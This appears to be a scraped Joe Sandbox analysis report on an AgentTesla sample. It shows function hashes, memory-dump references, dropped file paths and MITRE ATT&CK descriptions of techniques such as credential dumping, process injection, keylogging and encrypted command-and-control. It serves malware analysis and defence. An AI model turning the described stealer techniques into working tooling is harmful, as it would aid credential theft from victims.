Instruction ID: 6883111d05350ff238818de759089e479178ebc363271c6eddecca4d9eea4f40
Opcode Fuzzy Hash: 664dd7efa7cf4a465a02df27634ec3431896c304030e18d02387bffb5e7f9bf9
Instruction Fuzzy Hash: 9111BA74A06258CFCB25DF64E8886E9B7B2BF4634AF1040D9D50AA3740CB355E81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 0A2764C1 Relevance: 1.5, APIs: 1, Instructions: 46registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNELBASE ref: 0A27651D

Memory Dump Source

Source File: 00000002.00000002.547679913.000000000A270000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a270000_vbc.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: a2a1d27ebaf35924316c537b856216e7c4883a471e9c64a67c998c51fff6a7e4
Instruction ID: 34a8c7022e127f17bbfba27866f80d21eba48abdd6b0a038d175a8603e363221
Opcode Fuzzy Hash: a2a1d27ebaf35924316c537b856216e7c4883a471e9c64a67c998c51fff6a7e4
Instruction Fuzzy Hash: 451145B18002488FDB20DFA9D548BDEFBF4EF48324F25845AD519A7200C338A644CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 0A2764C8 Relevance: 1.5, APIs: 1, Instructions: 43registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNELBASE ref: 0A27651D

Memory Dump Source

Source File: 00000002.00000002.547679913.000000000A270000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a270000_vbc.jbxd

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: 0929b717ead753a029075379afd44a8c7be898d07096c6174b3aeff1bc15a81e
Instruction ID: adde5ac4e0d6eb446849e93e6ba522afb25a6ae8b3049d66e6d4c50400afb320
Opcode Fuzzy Hash: 0929b717ead753a029075379afd44a8c7be898d07096c6174b3aeff1bc15a81e
Instruction Fuzzy Hash: 211135B58003488FCB10DFAAD548BCEFBF4EB48324F24841AD519A7300C378AA44CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8619 Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 26fdc75090680c20ad73acfccaa212835ef615a5e912f4d620ddceff026d3efb
Instruction ID: e6456d0e33e83f9057394a67c94e7061882b3f8c0058ce3d461e1dfdc3261d69
Opcode Fuzzy Hash: 26fdc75090680c20ad73acfccaa212835ef615a5e912f4d620ddceff026d3efb
Instruction Fuzzy Hash: 0D11E674E06268CFCB26DB64E8886D9B7B2BF46346F1040E9D50AA3240CB705E81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE8661 Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 01ae7ff3afc5c478928a4e511113d7a68cea68b260f1398604c1e26ec15a90cd
Instruction ID: 2787ac5a693c748cbd44e3b6f96c55d76b5eb64e0d87e9aa94a626ffd094decb
Opcode Fuzzy Hash: 01ae7ff3afc5c478928a4e511113d7a68cea68b260f1398604c1e26ec15a90cd
Instruction Fuzzy Hash: 7001D374A06268CFCB25EB64E8886D9B7B1FF4630AF1041EAD44AA3240CB705E81CF56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE86A9 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 56d67800996a9b34a8231b3cd1d399e936f9ae07778391ddb8c1f15895203270
Instruction ID: 17c355302a42bd9bb9b027dc9041aada733570291c199cf275fee9e726c2a559
Opcode Fuzzy Hash: 56d67800996a9b34a8231b3cd1d399e936f9ae07778391ddb8c1f15895203270
Instruction Fuzzy Hash: D7F0B275A062688FCB61DB68E8886D9B7B1FF45319F1040E6D58AA3240CF705EC18F56

Uniqueness

Uniqueness Score: -1.00%

Function 09EE86F1 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 09EE8718

Memory Dump Source

Source File: 00000002.00000002.545686526.0000000009EE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 09EE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_9ee0000_vbc.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 4205af9892ce2cc7c71d3d1c19a444a4fccbc026970098be778788a096df7199
Instruction ID: fc10c8b14e3c6e42fc2458c26ce05515f41e3a834dfcff16ab1c0a2ace183eb9
Opcode Fuzzy Hash: 4205af9892ce2cc7c71d3d1c19a444a4fccbc026970098be778788a096df7199
Instruction Fuzzy Hash: 6BF0A575E062288FCB21DB68E9846DDB3B1FF45319F1050E6D54DA3240CB705E808F55

Uniqueness

Uniqueness Score: -1.00%

Function 00C0DA00 Relevance: 1.0, Instructions: 1026COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.536797534.0000000000C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29b841b73e437d04d44102f6cdf86350714d78796403148926c1c95b70aaee7d
Instruction ID: 91f59546b4badd78e9fcede3db423aecd6fe08701dc40a02c2f7de6737bbf3e2
Opcode Fuzzy Hash: 29b841b73e437d04d44102f6cdf86350714d78796403148926c1c95b70aaee7d
Instruction Fuzzy Hash: 9542C37584F7C26FCB478B3888766417FB16F2324871A00DBD4D1CE4B3D61A8A1ADB62

Uniqueness

Uniqueness Score: -1.00%

Function 00BFD3EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.536738019.0000000000BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bfd000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4567660c38122a8b09878eaf6ee06f7c3ff97523311bc688620557ca463dffe8
Instruction ID: 1841a61d7a3f2d0f330cf0ca3e865184eb91e5f88cbe93335773c757fed2853b
Opcode Fuzzy Hash: 4567660c38122a8b09878eaf6ee06f7c3ff97523311bc688620557ca463dffe8
Instruction Fuzzy Hash: 7B213AB1504248DFDB05DF14D9C4B36BBA6FB94324F24C5A9DA094B346C336E85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00BFD4D8 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.536738019.0000000000BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bfd000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8762885cdefcc972edee20bab1b07a037568adac13bb5f317ad96b15221f107b
Instruction ID: a24e6951d2b6bd93926ff2ac5875f95ba5a7ce2490c030217da463559b0bad6c
Opcode Fuzzy Hash: 8762885cdefcc972edee20bab1b07a037568adac13bb5f317ad96b15221f107b
Instruction Fuzzy Hash: 8F213AB1504348DFDB05CF54D9C4B36BBE6FBA8328F2485A9DA054B246C336D849CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00C0E3DC Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.536797534.0000000000C0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00C0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_c0d000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 000016eb3156494b5422efde235160a5f1f50ae937e7e815ecd02abc772f5f9f
Instruction ID: ace501b874565df4ea88200745ee01c7cda5b69a8a906db39f2eddf0491893f3
Opcode Fuzzy Hash: 000016eb3156494b5422efde235160a5f1f50ae937e7e815ecd02abc772f5f9f
Instruction Fuzzy Hash: 8E2107B1644244DFDB04DF94D9C4B26BBA5FB88324F24C96DD9094B386C33AD846CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 00BFD3E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.536738019.0000000000BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bfd000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75ad921a90c5a80d0e06afb818f831ed5976852882da7f26f8f1702c903aed74
Instruction ID: a1ed9eed13e03912d0d6a23270943e9adcf9a7ef4bd620ccbf7c9dcdf303532e
Opcode Fuzzy Hash: 75ad921a90c5a80d0e06afb818f831ed5976852882da7f26f8f1702c903aed74
Instruction Fuzzy Hash: E811B476404284DFDB01CF10D9C4B26BFB2FB94324F24C6A9D9080B756C336D85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00BFD4D3 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.536738019.0000000000BFD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00BFD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_bfd000_vbc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75ad921a90c5a80d0e06afb818f831ed5976852882da7f26f8f1702c903aed74
Instruction ID: 9aa570a1000abeab480cb06df113f532a67cb35fcaa6b75e3f43d33400a28b4b
Opcode Fuzzy Hash: 75ad921a90c5a80d0e06afb818f831ed5976852882da7f26f8f1702c903aed74
Instruction Fuzzy Hash: 4611D376504284CFDF12CF10D9C4B26BFB2FB94324F2486A9D9050B616C33AD85ACBA2

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	AWS CloudTrail logs, Authentication logs, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report pdP5Rv9pPW.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\fghn.exe.log

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\pdP5Rv9pPW.exe.log

C:\Users\user\AppData\Roaming\excel\excel.exe

C:\Users\user\AppData\Roaming\fghn\fghn.exe

C:\Users\user\AppData\Roaming\fghn\fghn.exe:Zone.Identifier

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Windows Analysis Report
pdP5Rv9pPW.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre